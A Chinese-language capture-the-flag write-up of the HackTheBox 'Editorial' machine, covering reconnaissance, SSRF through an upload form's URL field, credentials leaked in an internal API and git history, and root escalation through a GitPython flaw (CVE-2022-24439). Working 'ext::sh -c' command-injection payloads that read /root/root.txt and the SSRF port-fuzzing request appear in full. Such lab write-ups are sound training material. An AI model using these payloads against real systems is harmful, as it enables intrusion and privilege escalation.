HackTheBox-Machines Editorial Writeup

kazma 成大資安社 創辦人/社長

Exploitation

nmap 一下:

1
2
3
4
5
6
7
8
9
10
11
12
└──╼ [★]$ nmap -sV 10.10.11.20
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-12 06:27 CDT
Nmap scan report for 10.10.11.20
Host is up (0.0033s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.40 seconds

whatweb 看一下:

1
2
3
└──╼ [★]$ whatweb 10.10.11.20
http://10.10.11.20 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.20], RedirectLocation[http://editorial.htb], Title[301 Moved Permanently], nginx[1.18.0]
ERROR Opening: http://editorial.htb - no address for editorial.htb

加到 /etc/hosts:

1
2
└──╼ [★]$ echo "10.10.11.20 editorial.htb" | sudo tee -a /etc/hosts
10.10.11.20 editorial.htb

ffuf 掃一下 subdomain:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
└──╼ [★]$ ffuf -u http://10.10.11.20 -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H "Host: FUZZ.editorial.htb" | grep "Status: 200"

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : http://10.10.11.20
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.editorial.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

:: Progress: [100000/100000] :: Job [1/1] :: 20000 req/sec :: Duration: [0:01:10] :: Errors: 180 ::

掃一下路徑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
└──╼ [★]$ ffuf -u http://editorial.htb/FUZZ -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : http://editorial.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

upload [Status: 200, Size: 7140, Words: 1952, Lines: 210, Duration: 33ms]
about [Status: 200, Size: 2939, Words: 492, Lines: 72, Duration: 44ms]
:: Progress: [100000/100000] :: Job [1/1] :: 349 req/sec :: Duration: [0:01:33] :: Errors: 0 ::

找到 /upload 跟 /about。
由於我們是駭客,看到 upload 肯定要研究一下,我們先看一下他這頁長怎樣:
upload
可以看到有個可以上傳圖片的地方,旁邊還很貼心的給我們,我們丟個 itachi.png 看看:
itachi
帥,但是我們開一個新 tab 看就會發現圖片被改名字副檔名也被移除了:
http://editorial.htb/static/uploads/9194f469-2f40-49ed-8364-e14c35ad52f1
但沒關係,左邊那欄叫我們填網址感覺就很 ssrf,我們用 burp 觀察一下:
看了之後會發現所有資訊填完之後按下 send book info,只有下面那些資訊送出:
info
然後網址跟圖片是透過 preview 送出的,我們對這個比較感興趣,可以先來測試他能不能碰到內網的東西,我們可以在自己的機器上聽,看他能不能戳到:
4444
看起來這部分是可以的,那我們可以來看能不能戳到內網上有趣的東西,由於用免費版的 burp 爆破所有的 port 可能會有點慢,這邊用 ffuf 來發 request,我們先做一個所有 port 的 list,以及一個 request.txt 並把 FUZZ 填在 port 的位置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
└──╼ [★]$ seq 1 65535 > ports.txt
┌─[sg-vip-1]─[10.10.14.11]─[kazma@htb-notjuyz2rp]─[~]
└──╼ [★]$ vi request.txt
┌─[sg-vip-1]─[10.10.14.11]─[kazma@htb-notjuyz2rp]─[~]
└──╼ [★]$ cat request.txt
POST /upload-cover HTTP/1.1
Host: editorial.htb
Content-Length: 289
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOfykAvFRQs7FQe7q
Accept: */*
Origin: http://editorial.htb
Referer: http://editorial.htb/upload
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

------WebKitFormBoundaryOfykAvFRQs7FQe7q
Content-Disposition: form-data; name="bookurl"

http://127.0.0.1:FUZZ
------WebKitFormBoundaryOfykAvFRQs7FQe7q
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundaryOfykAvFRQs7FQe7q--

指令如下,那因為大部分的頁面 Size 都是 61,我們可以把它過濾掉:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
6582                    [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 31ms]
6584 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 30ms]
6583 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 30ms]
6586 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 30ms]
6585 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 31ms]
6587 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 31ms]
6588 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 31ms]
6591 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 31ms]
6589 [Status: 200, Size: 61, Words: 1, Lines: 1, Duration: 31ms]
[WARN] Caught keyboard interrupt (Ctrl-C)


┌─[sg-vip-1]─[10.10.14.11]─[kazma@htb-notjuyz2rp]─[~]
└──╼ [★]$ ffuf -u http://editorial.htb/upload-cover -X POST -request request.txt -w ports.txt -fs 61

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : POST
:: URL : http://editorial.htb/upload-cover
:: Wordlist : FUZZ: /home/kazma/ports.txt
:: Header : Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOfykAvFRQs7FQe7q
:: Header : Accept: */*
:: Header : Accept-Encoding: gzip, deflate, br
:: Header : Host: editorial.htb
:: Header : Origin: http://editorial.htb
:: Header : Referer: http://editorial.htb/upload
:: Header : Accept-Language: en-US,en;q=0.9
:: Header : Connection: close
:: Header : User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
:: Data : ------WebKitFormBoundaryOfykAvFRQs7FQe7q
Content-Disposition: form-data; name="bookurl"

http://127.0.0.1:FUZZ
------WebKitFormBoundaryOfykAvFRQs7FQe7q
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream


------WebKitFormBoundaryOfykAvFRQs7FQe7q--
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 61
________________________________________________

5000 [Status: 200, Size: 51, Words: 1, Lines: 1, Duration: 256ms]
[WARN] Caught keyboard interrupt (Ctrl-C)

看來 5000 port 有驚喜。
在網頁訪問 http://127.0.0.1:5000 之後在新分頁開啟圖片可以把它下載下來,拿到一個 json 文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
└──╼ []$ cat dde01e25-8e2a-4b29-a22a-0b8e5d83f4e6 | jq
{
"messages": [
{
"promotions": {
"description": "Retrieve a list of all the promotions in our library.",
"endpoint": "/api/latest/metadata/messages/promos",
"methods": "GET"
}
},
{
"coupons": {
"description": "Retrieve the list of coupons to use in our library.",
"endpoint": "/api/latest/metadata/messages/coupons",
"methods": "GET"
}
},
{
"new_authors": {
"description": "Retrieve the welcome message sended to our new authors.",
"endpoint": "/api/latest/metadata/messages/authors",
"methods": "GET"
}
},
{
"platform_use": {
"description": "Retrieve examples of how to use the platform.",
"endpoint": "/api/latest/metadata/messages/how_to_use_platform",
"methods": "GET"
}
}
],
"version": [
{
"changelog": {
"description": "Retrieve a list of all the versions and updates of the api.",
"endpoint": "/api/latest/metadata/changelog",
"methods": "GET"
}
},
{
"latest": {
"description": "Retrieve the last version of api.",
"endpoint": "/api/latest/metadata",
"methods": "GET"
}
}
]
}

看到第三個 api 就會找到這個:

1
2
3
4
└──╼ [★]$ cat authors | jq
{
"template_mail_message": "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."
}

找到一組帳密了,ssh time。

1
2
3
dev@editorial:~$ ls
apps user.txt
dev@editorial:~$ cat user.txt

拿下 user。
同時我們看到一個資料夾叫 app,可能跟提權有關

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
dev@editorial:~/apps$ ls
dev@editorial:~/apps$ ls -al
total 12
drwxrwxr-x 3 dev dev 4096 Jun 5 14:36 .
drwxr-x--- 4 dev dev 4096 Jun 5 14:36 ..
drwxr-xr-x 8 dev dev 4096 Jun 5 14:36 .git
dev@editorial:~/apps$ git log
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <[email protected]>
Date: Sun Apr 30 21:04:21 2023 -0500

fix: bugfix in api port endpoint

commit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama <[email protected]>
Date: Sun Apr 30 21:01:11 2023 -0500

commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <[email protected]>
Date: Sun Apr 30 21:04:21 2023 -0500

fix: bugfix in api port endpoint

commit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama <[email protected]>
Date: Sun Apr 30 21:01:11 2023 -0500

commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <[email protected]>
Date: Sun Apr 30 21:04:21 2023 -0500

fix: bugfix in api port endpoint

commit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama <[email protected]>
Date: Sun Apr 30 21:01:11 2023 -0500

change: remove debug and update api port

commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <[email protected]>
Date: Sun Apr 30 20:55:08 2023 -0500

change(api): downgrading prod to dev

* To use development environment.

commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <[email protected]>
Date: Sun Apr 30 20:51:10 2023 -0500

feat: create api to editorial info

* It (will) contains internal info about the editorial, this enable
faster access to information.
dev@editorial:~/apps$ git show 1e84a036b2f33c59e2390730699a488c65643d28
commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <[email protected]>
Date: Sun Apr 30 20:51:10 2023 -0500

feat: create api to editorial info

* It (will) contains internal info about the editorial, this enable
faster access to information.

diff --git a/app_api/app.py b/app_api/app.py
new file mode 100644
index 0000000..61b786f
--- /dev/null
+++ b/app_api/app.py
@@ -0,0 +1,74 @@
+# API (in development).
+# * To retrieve info about editorial
+
+import json
+from flask import Flask, jsonify
+
+# -------------------------------
+# App configuration
+# -------------------------------
+app = Flask(__name__)
+
+# -------------------------------
+# Global Variables
+# -------------------------------
+api_route = "/api/latest/metadata"
+api_editorial_name = "Editorial Tiempo Arriba"
+api_editorial_email = "[email protected]"
+
+# -------------------------------
+# API routes
+# -------------------------------
+# -- : home
[email protected]('/api', methods=['GET'])
+def index():
+ data_editorial = {
+ 'version': [{
+ '1': {
+ 'editorial': 'Editorial El Tiempo Por Arriba',
+ 'contact_email_1': '[email protected]',
+ 'contact_email_2': '[email protected]',
+ 'api_route': '/api/v1/metadata/'
+ }},
+ {
+ '1.1': {
+ 'editorial': 'Ed Tiempo Arriba',
+ 'contact_email_1': '[email protected]',
+ 'contact_email_2': '[email protected]',
+ 'api_route': '/api/v1.1/metadata/'
+ }},
+ {
+ '1.2': {
+ 'editorial': api_editorial_name,
+ 'contact_email_1': '[email protected]',
+ 'contact_email_2': '[email protected]',
+ 'api_route': f'/api/v1.2/metadata/'
+ }},
+ {
+ '2': {
+ 'editorial': api_editorial_name,
+ 'contact_email': '[email protected]',
+ 'api_route': f'/api/v2/metadata/'
+ }},
+ {
+ '2.3': {
+ 'editorial': api_editorial_name,
+ 'contact_email': api_editorial_email,
+ 'api_route': f'{api_route}/'
+ }
+ }]
+ }
+ return jsonify(data_editorial)
+
+# -- : (development) mail message to new authors
[email protected](api_route + '/authors/message', methods=['GET'])
+def api_mail_new_authors():
+ return jsonify({
+ 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the
incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nU
sername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for secur
ity purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\n
Best regards, " + api_editorial_name + " Team."
+ }) # TODO: replace dev credentials when checks pass

ls -al 之後發現這個資料夾有 .git,會翻到其中有個 commit 裡面有另一組帳密,我們 ssh 進去看看:

1
2
3
4
5
6
7
8
prod@editorial:~$ sudo -l
[sudo] password for prod:
Matching Defaults entries for prod on editorial:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty

User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *

成功進來了,檢查一圈會發現這個用戶有奇怪的 sudo 權限設定,看一下 /opt/internal_apps/clone_changes/clone_prod_change.py 是什麼:

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python3

import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')

url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

這邊用到一個東西叫 GitPython,程式本身應該沒什麼問題,但是查看 GitPython 的版本會發現 3.1.29 有個 CVE-2022-24439 的洞可以 RCE:

1
2
3
4
5
6
7
8
9
10
11
prod@editorial:~$ pip3 show gitpython
Name: GitPython
Version: 3.1.29
Summary: GitPython is a python library used to interact with Git repositories
Home-page: https://github.com/gitpython-developers/GitPython
Author: Sebastian Thiel, Michael Trier
Author-email: [email protected], [email protected]
License: BSD
Location: /usr/local/lib/python3.10/dist-packages
Requires: gitdb
Required-by:

這邊有利用方式可以參考:
https://github.com/gitpython-developers/GitPython/issues/1515

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /tmp/kazma'
Traceback (most recent call last):
File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
finalize_process(proc, stderr=stderr)
File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
proc.wait(**kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c touch% /tmp/kazma new_changes
stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
'
prod@editorial:~$ ls -l /tmp/kazma
-rw-r--r-- 1 root root 0 Aug 13 16:47 /tmp/kazma

可以看到我們成功用 root 建立了一個檔案,現在我們嘗試把 root.txt 讀出來:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c cat% /root/root.txt% >% /tmp/kazma'
Traceback (most recent call last):
File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
finalize_process(proc, stderr=stderr)
File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
proc.wait(**kwargs)
File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c cat% /root/root.txt% >% /tmp/kazma new_changes
stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
'
prod@editorial:~$ cat /tmp/kazma
483ea...

成功…

Reference

https://medium.com/@nkrohitkumar2002/hack-the-box-season-5-editorial-writeup-552635f389d6

Pwned !!!

pwn

  • Title: HackTheBox-Machines Editorial Writeup
  • Author: kazma
  • Created at : 2024-08-12 19:25:54
  • Updated at : 2024-08-14 01:11:23
  • Link: https://kazma.tw/2024/08/12/HackTheBox-Machines-Editorial-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
HackTheBox-Machines Editorial Writeup